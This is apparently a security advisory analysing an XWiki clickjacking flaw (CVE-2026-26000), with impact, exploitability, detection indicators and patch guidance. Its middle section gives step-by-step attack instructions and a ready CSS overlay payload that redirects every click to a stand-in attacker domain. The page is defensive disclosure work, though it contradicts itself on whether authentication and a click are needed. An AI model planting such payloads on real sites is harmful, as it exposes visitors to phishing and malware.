CVE-2026-26000: 
Java vulnerability analysis and mitigation

CVE-2026-26000 is a clickjacking vulnerability in XWiki Platform caused by CSS injection via the comments feature, allowing an attacker to transform the entire wiki into a clickable link area redirecting users to a malicious page. It affects all versions of XWiki prior to 16.10.13, 17.4.6 (for the 17.0.x–17.4.x branch), and 17.9.0 (for the 17.5.x branch). The vulnerability was published on February 12, 2026, and was reported by Tomas Keech of Sentrium Security Ltd. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (Github Advisory, XWiki Advisory).

The root cause is classified as CWE-1021 (Improper Restriction of Rendered UI Layers or Frames). XWiki intentionally allows CSS injection within comments as a platform feature, but fails to restrict how injected CSS can manipulate the rendered page layout. An attacker with the ability to post comments can craft a CSS payload that overlays a transparent, full-page anchor element pointing to an attacker-controlled domain, effectively turning the entire wiki page into a clickable redirect trap — a classic clickjacking technique. No authentication is required to trigger the attack; only passive user interaction (a page visit) is needed for exploitation (Github Advisory, XWiki Advisory).

Successful exploitation redirects unsuspecting wiki users to attacker-controlled external pages without their knowledge, enabling phishing, credential harvesting, or malware delivery. The confidentiality and integrity impacts are rated low, as the vulnerability does not directly expose server-side data or allow modification of wiki content, but it can undermine user trust and facilitate social engineering attacks at scale. Availability is not directly impacted, and there is no known path to lateral movement or privilege escalation through this vulnerability alone (Github Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2026-26000. The EPSS score is approximately 0.013% (12th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified. The attack requires no privileges and only passive user interaction, making it relatively straightforward to attempt once a comment can be posted on a vulnerable wiki (Github Advisory).

1. Identify a vulnerable target: Locate a publicly accessible XWiki instance running a version prior to 16.10.13, 17.4.6, or 17.9.0 using search engines or network scanning tools.
2. Obtain comment posting access: Register an account or use an existing one on the target wiki (or exploit any open/guest comment functionality if available).
3. Craft a malicious CSS payload: Write a comment containing CSS that creates a full-page transparent overlay link, for example:

<style>
body::after {
  content: '';
  position: fixed;
  top: 0; left: 0;
  width: 100%; height: 100%;
  z-index: 9999;
  cursor: pointer;
  background: transparent;
}
body {
  pointer-events: none;
}
a.malicious-overlay {
  position: fixed;
  top: 0; left: 0;
  width: 100%; height: 100%;
  z-index: 10000;
  display: block;
}
</style>
<a class="malicious-overlay" href="https://attacker.example.com"></a>

4. Post the comment: Submit the crafted comment to a frequently visited wiki page.
5. Wait for victim interaction: Any user visiting the affected page and clicking anywhere on it will be silently redirected to the attacker's malicious domain, enabling phishing or malware delivery (Github Advisory, XWiki Advisory).

• Logs: XWiki access logs showing comments containing <style> tags with CSS properties such as position: fixed, z-index, pointer-events, or content combined with external href attributes pointing to non-wiki domains.
• Content: Wiki comment sections containing embedded <style> blocks or inline CSS with full-page overlay patterns (e.g., width: 100%; height: 100%; position: fixed).
• Network: Unusual outbound redirects from wiki pages to external domains not associated with the organization, particularly following user click events on wiki pages.
• User Reports: End users reporting unexpected redirects to external or suspicious websites when clicking anywhere on a wiki page.

XWiki has addressed this vulnerability in versions 16.10.13, 17.4.6, and 17.9.0 by implementing a user confirmation prompt when navigating to untrusted external domains, rather than blocking CSS injection outright (since CSS in comments is an intentional feature). There is no out-of-the-box workaround for unpatched instances, but administrators can partially mitigate the risk by reusing the JavaScript confirmation code from the fix in a JSX object within the wiki. Upgrading to a patched version is the recommended and most effective remediation (Github Advisory, XWiki Release).

The vulnerability was covered by Security Boulevard in a disclosure article shortly after publication, and received attention from the security community on Bluesky. The XWiki team credited Tomas Keech of Sentrium Security Ltd. for responsible disclosure. No major vendor statements beyond the official advisory or significant media coverage have been identified (Security Boulevard).